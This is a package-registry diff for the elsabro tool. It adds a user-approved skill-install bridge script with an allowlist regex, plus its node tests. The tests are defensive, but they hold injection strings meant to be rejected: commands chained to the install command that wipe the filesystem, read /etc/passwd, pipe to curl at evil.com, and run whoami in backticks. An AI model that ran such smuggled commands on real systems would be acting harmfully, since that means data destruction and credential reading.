elsabro 7.1.0 → 7.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -172,10 +172,67 @@ Los skills proveen patrones de código verificados, configuraciones de setup, y
|
|
|
172
172
|
const recommendedSkills = state.context.available_skills || [];
|
|
173
173
|
|
|
174
174
|
if (recommendedSkills.length > 0) {
|
|
175
|
-
// 2. Cargar contenido de los top-3 skills
|
|
175
|
+
// 2. Cargar contenido de los top-3 skills (local → global → install)
|
|
176
176
|
const loadedSkills = [];
|
|
177
|
+
let registryDown = false;
|
|
177
178
|
for (const skill of recommendedSkills.slice(0, 3)) {
|
|
178
|
-
|
|
179
|
+
// 2a. Try local ELSABRO skill first
|
|
180
|
+
let content = Read(`skills/${skill.id}.md`);
|
|
181
|
+
|
|
182
|
+
// 2b. Try global installed skill
|
|
183
|
+
if (!content) {
|
|
184
|
+
content = Read(`${HOME}/.claude/skills/${skill.id}.md`);
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
// 2c. If not found locally and has install_cmd → offer to install
|
|
188
|
+
if (!content && skill.install_cmd && skill.source === "skills-registry" && !registryDown) {
|
|
189
|
+
// Check registry accessibility
|
|
190
|
+
const checkResult = Bash(`bash ./hooks/skill-install.sh check`, { timeout: 20000 });
|
|
191
|
+
const check = JSON.parse(checkResult);
|
|
192
|
+
|
|
193
|
+
if (check.status === "ok") {
|
|
194
|
+
// Ask user permission
|
|
195
|
+
const answer = AskUserQuestion({
|
|
196
|
+
questions: [{
|
|
197
|
+
question: `Skill "${skill.id}" no esta instalado localmente pero esta disponible en el registry. Instalarlo?`,
|
|
198
|
+
header: "Skill Install",
|
|
199
|
+
options: [
|
|
200
|
+
{ label: "Instalar", description: `Ejecuta: ${skill.install_cmd}` },
|
|
201
|
+
{ label: "Omitir", description: "Continuar sin este skill" }
|
|
202
|
+
],
|
|
203
|
+
multiSelect: false
|
|
204
|
+
}]
|
|
205
|
+
});
|
|
206
|
+
|
|
207
|
+
if (answer === "Instalar") {
|
|
208
|
+
// Execute install
|
|
209
|
+
const installResult = Bash(`bash ./hooks/skill-install.sh install "${skill.install_cmd}"`, { timeout: 45000 });
|
|
210
|
+
const install = JSON.parse(installResult);
|
|
211
|
+
|
|
212
|
+
if (install.status === "ok") {
|
|
213
|
+
// Validate installed file
|
|
214
|
+
const validateResult = Bash(`bash ./hooks/skill-install.sh validate "${skill.id}"`, { timeout: 5000 });
|
|
215
|
+
const validation = JSON.parse(validateResult);
|
|
216
|
+
|
|
217
|
+
if (validation.status === "ok") {
|
|
218
|
+
content = Read(validation.path);
|
|
219
|
+
output(` + Skill "${skill.id}" instalado y cargado`);
|
|
220
|
+
} else {
|
|
221
|
+
output(` ! Skill "${skill.id}" instalado pero formato invalido — omitido`);
|
|
222
|
+
}
|
|
223
|
+
} else {
|
|
224
|
+
output(` ! Instalacion de "${skill.id}" fallo: ${install.message} — omitido`);
|
|
225
|
+
}
|
|
226
|
+
} else {
|
|
227
|
+
output(` - Skill "${skill.id}" omitido por usuario`);
|
|
228
|
+
}
|
|
229
|
+
} else {
|
|
230
|
+
output(` ! Registry no disponible — omitiendo instalacion de skills externos`);
|
|
231
|
+
registryDown = true; // Skip install attempts for remaining skills
|
|
232
|
+
}
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
// 2d. Load content if available (from any source)
|
|
179
236
|
if (content) {
|
|
180
237
|
loadedSkills.push({
|
|
181
238
|
name: skill.id,
|
|
@@ -0,0 +1,374 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { describe, it } = require('node:test');
|
|
4
|
+
const assert = require('node:assert/strict');
|
|
5
|
+
const { execSync } = require('node:child_process');
|
|
6
|
+
const fs = require('node:fs');
|
|
7
|
+
const path = require('node:path');
|
|
8
|
+
const os = require('node:os');
|
|
9
|
+
|
|
10
|
+
// ---------- Shared helpers ----------
|
|
11
|
+
|
|
12
|
+
const PROJECT_ROOT = path.resolve(__dirname, '..', '..');
|
|
13
|
+
const SCRIPT = path.join(PROJECT_ROOT, 'hooks', 'skill-install.sh');
|
|
14
|
+
|
|
15
|
+
/**
|
|
16
|
+
* Run skill-install.sh with given args, parse JSON from stdout.
|
|
17
|
+
* Script always exits 0; errors communicated via JSON.
|
|
18
|
+
*/
|
|
19
|
+
function runInstall(args, opts = {}) {
|
|
20
|
+
const env = { ...process.env, ...opts.env };
|
|
21
|
+
try {
|
|
22
|
+
const stdout = execSync(`bash "${SCRIPT}" ${args}`, {
|
|
23
|
+
cwd: PROJECT_ROOT,
|
|
24
|
+
encoding: 'utf8',
|
|
25
|
+
env,
|
|
26
|
+
stdio: ['pipe', 'pipe', 'pipe'],
|
|
27
|
+
timeout: 15000
|
|
28
|
+
});
|
|
29
|
+
return JSON.parse(stdout.trim());
|
|
30
|
+
} catch (err) {
|
|
31
|
+
// Script exits 0, but execSync can throw on timeout or signal
|
|
32
|
+
if (err.stdout) return JSON.parse(err.stdout.trim());
|
|
33
|
+
throw err;
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
/**
|
|
38
|
+
* Create a temp dir with a mock `npx` script that executes the given behavior.
|
|
39
|
+
* Returns the temp dir path (prepend to PATH).
|
|
40
|
+
*/
|
|
41
|
+
function createMockNpx(behavior) {
|
|
42
|
+
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-npx-'));
|
|
43
|
+
const script = path.join(dir, 'npx');
|
|
44
|
+
fs.writeFileSync(script, `#!/bin/bash\n${behavior}`, { mode: 0o755 });
|
|
45
|
+
return dir;
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
/**
|
|
49
|
+
* Create a temp HOME-equivalent dir with .claude/skills/ structure.
|
|
50
|
+
* `skills` is an object: { "name.md": "content", "sub/SKILL.md": "content" }
|
|
51
|
+
* Returns the tmpdir (use as HOME).
|
|
52
|
+
*/
|
|
53
|
+
function createMockSkillsDir(skills = {}) {
|
|
54
|
+
const tmpBase = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-home-'));
|
|
55
|
+
const skillsDir = path.join(tmpBase, '.claude', 'skills');
|
|
56
|
+
fs.mkdirSync(skillsDir, { recursive: true });
|
|
57
|
+
for (const [name, content] of Object.entries(skills)) {
|
|
58
|
+
const filePath = path.join(skillsDir, name);
|
|
59
|
+
fs.mkdirSync(path.dirname(filePath), { recursive: true });
|
|
60
|
+
fs.writeFileSync(filePath, content);
|
|
61
|
+
}
|
|
62
|
+
return tmpBase;
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
function cleanup(dir) {
|
|
66
|
+
fs.rmSync(dir, { recursive: true, force: true });
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
// ---------- Tests ----------
|
|
70
|
+
|
|
71
|
+
describe('skill-install.sh', () => {
|
|
72
|
+
|
|
73
|
+
// ---- cmd_check ----
|
|
74
|
+
describe('cmd_check', () => {
|
|
75
|
+
it('returns ok when npx skills check succeeds', () => {
|
|
76
|
+
const mockDir = createMockNpx('echo "Registry OK"; exit 0');
|
|
77
|
+
try {
|
|
78
|
+
const result = runInstall('check', {
|
|
79
|
+
env: { PATH: `${mockDir}:${process.env.PATH}` }
|
|
80
|
+
});
|
|
81
|
+
assert.equal(result.status, 'ok');
|
|
82
|
+
} finally {
|
|
83
|
+
cleanup(mockDir);
|
|
84
|
+
}
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
it('returns error when npx skills check fails', () => {
|
|
88
|
+
const mockDir = createMockNpx('echo "Connection refused" >&2; exit 1');
|
|
89
|
+
try {
|
|
90
|
+
const result = runInstall('check', {
|
|
91
|
+
env: { PATH: `${mockDir}:${process.env.PATH}` }
|
|
92
|
+
});
|
|
93
|
+
assert.equal(result.status, 'error');
|
|
94
|
+
assert.ok(result.message.includes('registry check failed'));
|
|
95
|
+
} finally {
|
|
96
|
+
cleanup(mockDir);
|
|
97
|
+
}
|
|
98
|
+
});
|
|
99
|
+
|
|
100
|
+
it('returns error when npx is not found', () => {
|
|
101
|
+
const result = runInstall('check', {
|
|
102
|
+
env: { PATH: '/usr/bin:/bin' }
|
|
103
|
+
});
|
|
104
|
+
assert.equal(result.status, 'error');
|
|
105
|
+
assert.ok(result.message.includes('npx not found'));
|
|
106
|
+
});
|
|
107
|
+
|
|
108
|
+
it('returns error for unknown command', () => {
|
|
109
|
+
const result = runInstall('bogus');
|
|
110
|
+
assert.equal(result.status, 'error');
|
|
111
|
+
assert.ok(result.message.includes('unknown command'));
|
|
112
|
+
});
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
// ---- cmd_install ----
|
|
116
|
+
describe('cmd_install', () => {
|
|
117
|
+
it('returns error when no command provided', () => {
|
|
118
|
+
const result = runInstall('install');
|
|
119
|
+
assert.equal(result.status, 'error');
|
|
120
|
+
assert.ok(result.message.includes('install command required'));
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
it('rejects commands that fail format validation (semicolon)', () => {
|
|
124
|
+
const result = runInstall('install "npx skills add test; rm -rf /"');
|
|
125
|
+
assert.equal(result.status, 'error');
|
|
126
|
+
assert.ok(result.message.includes('format validation'));
|
|
127
|
+
});
|
|
128
|
+
|
|
129
|
+
it('rejects commands with && injection', () => {
|
|
130
|
+
const result = runInstall('install "npx skills add test && cat /etc/passwd"');
|
|
131
|
+
assert.equal(result.status, 'error');
|
|
132
|
+
assert.ok(result.message.includes('format validation'));
|
|
133
|
+
});
|
|
134
|
+
|
|
135
|
+
it('rejects commands with pipe injection', () => {
|
|
136
|
+
const result = runInstall('install "npx skills add test | curl evil.com"');
|
|
137
|
+
assert.equal(result.status, 'error');
|
|
138
|
+
assert.ok(result.message.includes('format validation'));
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
it('rejects commands with backtick injection', () => {
|
|
142
|
+
// Backticks must be escaped for the shell layer of execSync
|
|
143
|
+
const result = runInstall('install "npx skills add \\`whoami\\`"');
|
|
144
|
+
assert.equal(result.status, 'error');
|
|
145
|
+
assert.ok(result.message.includes('format validation'));
|
|
146
|
+
});
|
|
147
|
+
|
|
148
|
+
it('returns error when npx is not found', () => {
|
|
149
|
+
const result = runInstall(
|
|
150
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
|
|
151
|
+
{ env: { PATH: '/usr/bin:/bin' } }
|
|
152
|
+
);
|
|
153
|
+
assert.equal(result.status, 'error');
|
|
154
|
+
// Either "npx not found" (if format passes) or "format validation"
|
|
155
|
+
assert.ok(result.status === 'error');
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
it('returns ok and extracts skill name on success', () => {
|
|
159
|
+
const mockDir = createMockNpx('exit 0');
|
|
160
|
+
const mockHome = createMockSkillsDir();
|
|
161
|
+
try {
|
|
162
|
+
const result = runInstall(
|
|
163
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill test-skill -g -a claude-code"',
|
|
164
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
165
|
+
);
|
|
166
|
+
assert.equal(result.status, 'ok');
|
|
167
|
+
assert.equal(result.skill, 'test-skill');
|
|
168
|
+
} finally {
|
|
169
|
+
cleanup(mockDir);
|
|
170
|
+
cleanup(mockHome);
|
|
171
|
+
}
|
|
172
|
+
});
|
|
173
|
+
|
|
174
|
+
it('returns error when install command fails', () => {
|
|
175
|
+
const mockDir = createMockNpx('echo "Package not found" >&2; exit 1');
|
|
176
|
+
const mockHome = createMockSkillsDir();
|
|
177
|
+
try {
|
|
178
|
+
const result = runInstall(
|
|
179
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill bad-skill -g -a claude-code"',
|
|
180
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
181
|
+
);
|
|
182
|
+
assert.equal(result.status, 'error');
|
|
183
|
+
assert.ok(result.message.includes('install failed'));
|
|
184
|
+
} finally {
|
|
185
|
+
cleanup(mockDir);
|
|
186
|
+
cleanup(mockHome);
|
|
187
|
+
}
|
|
188
|
+
});
|
|
189
|
+
|
|
190
|
+
it('returns timeout error when install exits with code 124', () => {
|
|
191
|
+
// Exit 124 is what timeout/gtimeout returns; mock npx can simulate it directly
|
|
192
|
+
const mockDir = createMockNpx('exit 124');
|
|
193
|
+
const mockHome = createMockSkillsDir();
|
|
194
|
+
try {
|
|
195
|
+
const result = runInstall(
|
|
196
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill timeout-test -g -a claude-code"',
|
|
197
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
198
|
+
);
|
|
199
|
+
assert.equal(result.status, 'error');
|
|
200
|
+
assert.ok(result.message.includes('timed out'));
|
|
201
|
+
} finally {
|
|
202
|
+
cleanup(mockDir);
|
|
203
|
+
cleanup(mockHome);
|
|
204
|
+
}
|
|
205
|
+
});
|
|
206
|
+
|
|
207
|
+
it('returns error when skills dir not writable', () => {
|
|
208
|
+
const mockDir = createMockNpx('exit 0');
|
|
209
|
+
const mockHome = createMockSkillsDir();
|
|
210
|
+
const skillsDir = path.join(mockHome, '.claude', 'skills');
|
|
211
|
+
fs.chmodSync(skillsDir, 0o444);
|
|
212
|
+
try {
|
|
213
|
+
const result = runInstall(
|
|
214
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
|
|
215
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
216
|
+
);
|
|
217
|
+
assert.equal(result.status, 'error');
|
|
218
|
+
assert.ok(result.message.includes('not writable'));
|
|
219
|
+
} finally {
|
|
220
|
+
fs.chmodSync(skillsDir, 0o755);
|
|
221
|
+
cleanup(mockDir);
|
|
222
|
+
cleanup(mockHome);
|
|
223
|
+
}
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
it('invalidates discovery cache on success', () => {
|
|
227
|
+
const mockDir = createMockNpx('exit 0');
|
|
228
|
+
const mockHome = createMockSkillsDir();
|
|
229
|
+
const cacheDir = path.join(PROJECT_ROOT, '.cache');
|
|
230
|
+
const cacheFile = path.join(cacheDir, 'skill-discovery-cache.json');
|
|
231
|
+
// Save original content (not just existence) to restore after test
|
|
232
|
+
const originalContent = fs.existsSync(cacheFile)
|
|
233
|
+
? fs.readFileSync(cacheFile, 'utf8')
|
|
234
|
+
: null;
|
|
235
|
+
if (!fs.existsSync(cacheDir)) fs.mkdirSync(cacheDir, { recursive: true });
|
|
236
|
+
fs.writeFileSync(cacheFile, '{"cached":true}');
|
|
237
|
+
try {
|
|
238
|
+
runInstall(
|
|
239
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill cache-test -g -a claude-code"',
|
|
240
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
241
|
+
);
|
|
242
|
+
assert.equal(fs.existsSync(cacheFile), false, 'Cache should be deleted after install');
|
|
243
|
+
} finally {
|
|
244
|
+
cleanup(mockDir);
|
|
245
|
+
cleanup(mockHome);
|
|
246
|
+
// Restore exact original content, or remove if it didn't exist
|
|
247
|
+
if (originalContent !== null) {
|
|
248
|
+
fs.writeFileSync(cacheFile, originalContent);
|
|
249
|
+
} else if (fs.existsSync(cacheFile)) {
|
|
250
|
+
fs.unlinkSync(cacheFile);
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
});
|
|
254
|
+
});
|
|
255
|
+
|
|
256
|
+
// ---- cmd_validate ----
|
|
257
|
+
describe('cmd_validate', () => {
|
|
258
|
+
it('returns error when no skill name provided', () => {
|
|
259
|
+
const result = runInstall('validate');
|
|
260
|
+
assert.equal(result.status, 'error');
|
|
261
|
+
assert.ok(result.message.includes('skill name required'));
|
|
262
|
+
});
|
|
263
|
+
|
|
264
|
+
it('returns ok with has_frontmatter:true for flat file with YAML', () => {
|
|
265
|
+
const mockHome = createMockSkillsDir({
|
|
266
|
+
'test-skill.md': '---\nname: test-skill\n---\n# Content'
|
|
267
|
+
});
|
|
268
|
+
try {
|
|
269
|
+
const result = runInstall('validate "test-skill"', {
|
|
270
|
+
env: { HOME: mockHome }
|
|
271
|
+
});
|
|
272
|
+
assert.equal(result.status, 'ok');
|
|
273
|
+
assert.equal(result.has_frontmatter, true);
|
|
274
|
+
assert.ok(result.path.includes('test-skill.md'));
|
|
275
|
+
} finally {
|
|
276
|
+
cleanup(mockHome);
|
|
277
|
+
}
|
|
278
|
+
});
|
|
279
|
+
|
|
280
|
+
it('returns ok with has_frontmatter:false for flat file without YAML', () => {
|
|
281
|
+
const mockHome = createMockSkillsDir({
|
|
282
|
+
'no-yaml.md': '# Just markdown\nNo frontmatter here'
|
|
283
|
+
});
|
|
284
|
+
try {
|
|
285
|
+
const result = runInstall('validate "no-yaml"', {
|
|
286
|
+
env: { HOME: mockHome }
|
|
287
|
+
});
|
|
288
|
+
assert.equal(result.status, 'ok');
|
|
289
|
+
assert.equal(result.has_frontmatter, false);
|
|
290
|
+
} finally {
|
|
291
|
+
cleanup(mockHome);
|
|
292
|
+
}
|
|
293
|
+
});
|
|
294
|
+
|
|
295
|
+
it('finds skill in subdirectory SKILL.md with YAML', () => {
|
|
296
|
+
const mockHome = createMockSkillsDir({
|
|
297
|
+
'subskill/SKILL.md': '---\nname: subskill\n---\n# Subdir skill'
|
|
298
|
+
});
|
|
299
|
+
try {
|
|
300
|
+
const result = runInstall('validate "subskill"', {
|
|
301
|
+
env: { HOME: mockHome }
|
|
302
|
+
});
|
|
303
|
+
assert.equal(result.status, 'ok');
|
|
304
|
+
assert.equal(result.has_frontmatter, true);
|
|
305
|
+
assert.ok(result.path.includes('subskill/SKILL.md'));
|
|
306
|
+
} finally {
|
|
307
|
+
cleanup(mockHome);
|
|
308
|
+
}
|
|
309
|
+
});
|
|
310
|
+
|
|
311
|
+
it('returns has_frontmatter:false for subdirectory without YAML', () => {
|
|
312
|
+
const mockHome = createMockSkillsDir({
|
|
313
|
+
'subskill-noyaml/SKILL.md': '# Just content\nNo YAML here'
|
|
314
|
+
});
|
|
315
|
+
try {
|
|
316
|
+
const result = runInstall('validate "subskill-noyaml"', {
|
|
317
|
+
env: { HOME: mockHome }
|
|
318
|
+
});
|
|
319
|
+
assert.equal(result.status, 'ok');
|
|
320
|
+
assert.equal(result.has_frontmatter, false);
|
|
321
|
+
assert.ok(result.path.includes('subskill-noyaml/SKILL.md'));
|
|
322
|
+
} finally {
|
|
323
|
+
cleanup(mockHome);
|
|
324
|
+
}
|
|
325
|
+
});
|
|
326
|
+
|
|
327
|
+
it('returns error when skill file not found', () => {
|
|
328
|
+
const mockHome = createMockSkillsDir({});
|
|
329
|
+
try {
|
|
330
|
+
const result = runInstall('validate "nonexistent"', {
|
|
331
|
+
env: { HOME: mockHome }
|
|
332
|
+
});
|
|
333
|
+
assert.equal(result.status, 'error');
|
|
334
|
+
assert.ok(result.message.includes('not found'));
|
|
335
|
+
} finally {
|
|
336
|
+
cleanup(mockHome);
|
|
337
|
+
}
|
|
338
|
+
});
|
|
339
|
+
});
|
|
340
|
+
|
|
341
|
+
// ---- JSON contract ----
|
|
342
|
+
describe('JSON contract', () => {
|
|
343
|
+
it('all commands return valid JSON on stdout', () => {
|
|
344
|
+
const mockDir = createMockNpx('exit 1');
|
|
345
|
+
try {
|
|
346
|
+
const commands = ['check', 'install', 'validate', 'bogus'];
|
|
347
|
+
for (const cmd of commands) {
|
|
348
|
+
const result = runInstall(cmd, {
|
|
349
|
+
env: { PATH: `${mockDir}:${process.env.PATH}` }
|
|
350
|
+
});
|
|
351
|
+
assert.ok(typeof result === 'object', `${cmd} should return JSON object`);
|
|
352
|
+
assert.ok('status' in result, `${cmd} should have status field`);
|
|
353
|
+
}
|
|
354
|
+
} finally {
|
|
355
|
+
cleanup(mockDir);
|
|
356
|
+
}
|
|
357
|
+
});
|
|
358
|
+
|
|
359
|
+
it('status is always "ok" or "error"', () => {
|
|
360
|
+
const mockDir = createMockNpx('exit 0');
|
|
361
|
+
try {
|
|
362
|
+
const okResult = runInstall('check', {
|
|
363
|
+
env: { PATH: `${mockDir}:${process.env.PATH}` }
|
|
364
|
+
});
|
|
365
|
+
assert.ok(['ok', 'error'].includes(okResult.status));
|
|
366
|
+
} finally {
|
|
367
|
+
cleanup(mockDir);
|
|
368
|
+
}
|
|
369
|
+
|
|
370
|
+
const errResult = runInstall('bogus');
|
|
371
|
+
assert.ok(['ok', 'error'].includes(errResult.status));
|
|
372
|
+
});
|
|
373
|
+
});
|
|
374
|
+
});
|
package/hooks/skill-discovery.sh
CHANGED
|
@@ -31,6 +31,7 @@ GLOBAL_SKILLS_DIR="${HOME}/.claude/skills"
|
|
|
31
31
|
CACHE_DIR="${PROJECT_ROOT}/.cache"
|
|
32
32
|
CACHE_FILE="${CACHE_DIR}/skill-discovery-cache.json"
|
|
33
33
|
CACHE_TTL=3600 # 1 hora
|
|
34
|
+
DEFAULT_SKILLS_SOURCE="vercel-labs/agent-skills"
|
|
34
35
|
|
|
35
36
|
MAX_RESULTS=10
|
|
36
37
|
NPX_TIMEOUT=30 # segundos
|
|
@@ -291,7 +292,7 @@ discover_via_npx_skills() {
|
|
|
291
292
|
# El formato típico es líneas con nombre y descripción
|
|
292
293
|
# Intentar parsear como JSON primero (por si devuelve JSON)
|
|
293
294
|
if echo "$raw_output" | jq empty 2>/dev/null; then
|
|
294
|
-
echo "$raw_output" | jq '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add
|
|
295
|
+
echo "$raw_output" | jq --arg src "$DEFAULT_SKILLS_SOURCE" '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add " + $src + " --skill " + .name + " -g -a claude-code -y")}]' 2>/dev/null || echo "[]"
|
|
295
296
|
return
|
|
296
297
|
fi
|
|
297
298
|
|
|
@@ -312,8 +313,8 @@ discover_via_npx_skills() {
|
|
|
312
313
|
|
|
313
314
|
# Use jq for safe JSON construction
|
|
314
315
|
local skill_obj
|
|
315
|
-
skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg
|
|
316
|
-
'{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: $
|
|
316
|
+
skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg src "$DEFAULT_SKILLS_SOURCE" \
|
|
317
|
+
'{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: ("npx skills add " + $src + " --skill " + $id + " -g -a claude-code -y")}')
|
|
317
318
|
skills+=("$skill_obj")
|
|
318
319
|
done <<< "$raw_output"
|
|
319
320
|
|
|
@@ -450,6 +451,7 @@ NOJQ
|
|
|
450
451
|
--argjson external "$external" \
|
|
451
452
|
--argjson recommended "$recommended" \
|
|
452
453
|
--argjson updates "$updates" \
|
|
454
|
+
--arg src "$DEFAULT_SKILLS_SOURCE" \
|
|
453
455
|
'{
|
|
454
456
|
timestamp: (now | strftime("%Y-%m-%dT%H:%M:%SZ")),
|
|
455
457
|
status: "success",
|
|
@@ -484,7 +486,7 @@ NOJQ
|
|
|
484
486
|
actions: {
|
|
485
487
|
install_all: (
|
|
486
488
|
if ($recommended | length) > 0
|
|
487
|
-
then "npx skills add
|
|
489
|
+
then "npx skills add " + $src + " --skill " + ([$recommended[].id] | join(" --skill ")) + " -g -a claude-code -y"
|
|
488
490
|
else null
|
|
489
491
|
end
|
|
490
492
|
),
|
|
@@ -0,0 +1,224 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# skill-install.sh - ELSABRO Skill Install Bridge (v1.0.0)
|
|
3
|
+
#
|
|
4
|
+
# Instala skills del vercel-labs/skills registry y valida archivos instalados.
|
|
5
|
+
# Companion de skill-discovery.sh — este script ejecuta lo que discovery recomienda.
|
|
6
|
+
#
|
|
7
|
+
# Comandos:
|
|
8
|
+
# check - Valida accesibilidad del registry (npx skills check)
|
|
9
|
+
# install "<cmd>" - Ejecuta install command con pre-checks y timeout (e.g. npx skills add ...)
|
|
10
|
+
# validate "<name>" - Verifica que skill instalado existe y tiene YAML frontmatter
|
|
11
|
+
#
|
|
12
|
+
# Output: JSON en stdout, logs en stderr
|
|
13
|
+
# Errores: Siempre exit 0, errores comunicados via JSON {"status":"error","message":"..."}
|
|
14
|
+
#
|
|
15
|
+
# Requiere: bash 4+, node/npm (para npx)
|
|
16
|
+
|
|
17
|
+
set -euo pipefail
|
|
18
|
+
|
|
19
|
+
# ============================================================================
|
|
20
|
+
# CONFIGURACION
|
|
21
|
+
# ============================================================================
|
|
22
|
+
|
|
23
|
+
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
|
24
|
+
PROJECT_ROOT="$(dirname "$SCRIPT_DIR")"
|
|
25
|
+
GLOBAL_SKILLS_DIR="${HOME}/.claude/skills"
|
|
26
|
+
CACHE_FILE="${PROJECT_ROOT}/.cache/skill-discovery-cache.json"
|
|
27
|
+
|
|
28
|
+
NPX_TIMEOUT=30 # segundos para install
|
|
29
|
+
CHECK_TIMEOUT=15 # segundos para check
|
|
30
|
+
|
|
31
|
+
# Portable timeout: use gtimeout (macOS/brew) > timeout (Linux) > no timeout
|
|
32
|
+
if command -v gtimeout >/dev/null 2>&1; then
|
|
33
|
+
TIMEOUT_CMD="gtimeout"
|
|
34
|
+
elif command -v timeout >/dev/null 2>&1; then
|
|
35
|
+
TIMEOUT_CMD="timeout"
|
|
36
|
+
else
|
|
37
|
+
TIMEOUT_CMD=""
|
|
38
|
+
fi
|
|
39
|
+
|
|
40
|
+
run_with_timeout() {
|
|
41
|
+
local secs="$1"; shift
|
|
42
|
+
if [[ -n "$TIMEOUT_CMD" ]]; then
|
|
43
|
+
"$TIMEOUT_CMD" "$secs" "$@"
|
|
44
|
+
else
|
|
45
|
+
"$@"
|
|
46
|
+
fi
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
# Colores para stderr
|
|
50
|
+
RED='\033[0;31m'
|
|
51
|
+
GREEN='\033[0;32m'
|
|
52
|
+
YELLOW='\033[1;33m'
|
|
53
|
+
NC='\033[0m'
|
|
54
|
+
PREFIX="[ELSABRO:install]"
|
|
55
|
+
|
|
56
|
+
# ============================================================================
|
|
57
|
+
# LOGGING (stderr only)
|
|
58
|
+
# ============================================================================
|
|
59
|
+
|
|
60
|
+
log_info() { echo -e "${GREEN}${PREFIX}${NC} $*" >&2; }
|
|
61
|
+
log_warn() { echo -e "${YELLOW}${PREFIX}${NC} $*" >&2; }
|
|
62
|
+
log_error() { echo -e "${RED}${PREFIX}${NC} $*" >&2; }
|
|
63
|
+
|
|
64
|
+
# ============================================================================
|
|
65
|
+
# JSON OUTPUT (stdout only)
|
|
66
|
+
# ============================================================================
|
|
67
|
+
|
|
68
|
+
json_ok() {
|
|
69
|
+
local extra="${1:-}"
|
|
70
|
+
if [[ -n "$extra" ]]; then
|
|
71
|
+
echo "{\"status\":\"ok\",$extra}"
|
|
72
|
+
else
|
|
73
|
+
echo '{"status":"ok"}'
|
|
74
|
+
fi
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
json_error() {
|
|
78
|
+
local msg="$1"
|
|
79
|
+
echo "{\"status\":\"error\",\"message\":\"$msg\"}"
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
# ============================================================================
|
|
83
|
+
# COMMAND: check
|
|
84
|
+
# Validates registry accessibility via npx skills check
|
|
85
|
+
# ============================================================================
|
|
86
|
+
|
|
87
|
+
cmd_check() {
|
|
88
|
+
log_info "Checking registry accessibility..."
|
|
89
|
+
|
|
90
|
+
command -v npx >/dev/null 2>&1 || { json_error "npx not found"; exit 0; }
|
|
91
|
+
|
|
92
|
+
local output
|
|
93
|
+
if output=$(run_with_timeout "$CHECK_TIMEOUT" npx -y skills check 2>&1); then
|
|
94
|
+
log_info "Registry accessible"
|
|
95
|
+
json_ok
|
|
96
|
+
else
|
|
97
|
+
log_error "Registry check failed: $output"
|
|
98
|
+
json_error "registry check failed"
|
|
99
|
+
fi
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
# ============================================================================
|
|
103
|
+
# COMMAND: install <install_cmd>
|
|
104
|
+
# Executes the given install command with pre-checks and timeout
|
|
105
|
+
# ============================================================================
|
|
106
|
+
|
|
107
|
+
cmd_install() {
|
|
108
|
+
local install_cmd="${1:-}"
|
|
109
|
+
|
|
110
|
+
if [[ -z "$install_cmd" ]]; then
|
|
111
|
+
json_error "install command required"
|
|
112
|
+
exit 0
|
|
113
|
+
fi
|
|
114
|
+
|
|
115
|
+
log_info "Installing skill: $install_cmd"
|
|
116
|
+
|
|
117
|
+
# Pre-check: command format (defense-in-depth — only allow npx skills add ...)
|
|
118
|
+
if [[ ! "$install_cmd" =~ ^npx[[:space:]]+((-y|skills|add|--skill|--yes|-g|-a|claude-code|[a-zA-Z0-9/_-]+)[[:space:]]*)+$ ]]; then
|
|
119
|
+
json_error "install command failed format validation"
|
|
120
|
+
exit 0
|
|
121
|
+
fi
|
|
122
|
+
|
|
123
|
+
# Pre-check: npx available
|
|
124
|
+
command -v npx >/dev/null 2>&1 || { json_error "npx not found"; exit 0; }
|
|
125
|
+
|
|
126
|
+
# Pre-check: skills dir exists and is writable
|
|
127
|
+
if [[ ! -d "$GLOBAL_SKILLS_DIR" ]]; then
|
|
128
|
+
mkdir -p "$GLOBAL_SKILLS_DIR" 2>/dev/null || { json_error "$GLOBAL_SKILLS_DIR cannot be created"; exit 0; }
|
|
129
|
+
fi
|
|
130
|
+
test -w "$GLOBAL_SKILLS_DIR" || { json_error "$GLOBAL_SKILLS_DIR not writable"; exit 0; }
|
|
131
|
+
|
|
132
|
+
# Execute install command with timeout
|
|
133
|
+
local output
|
|
134
|
+
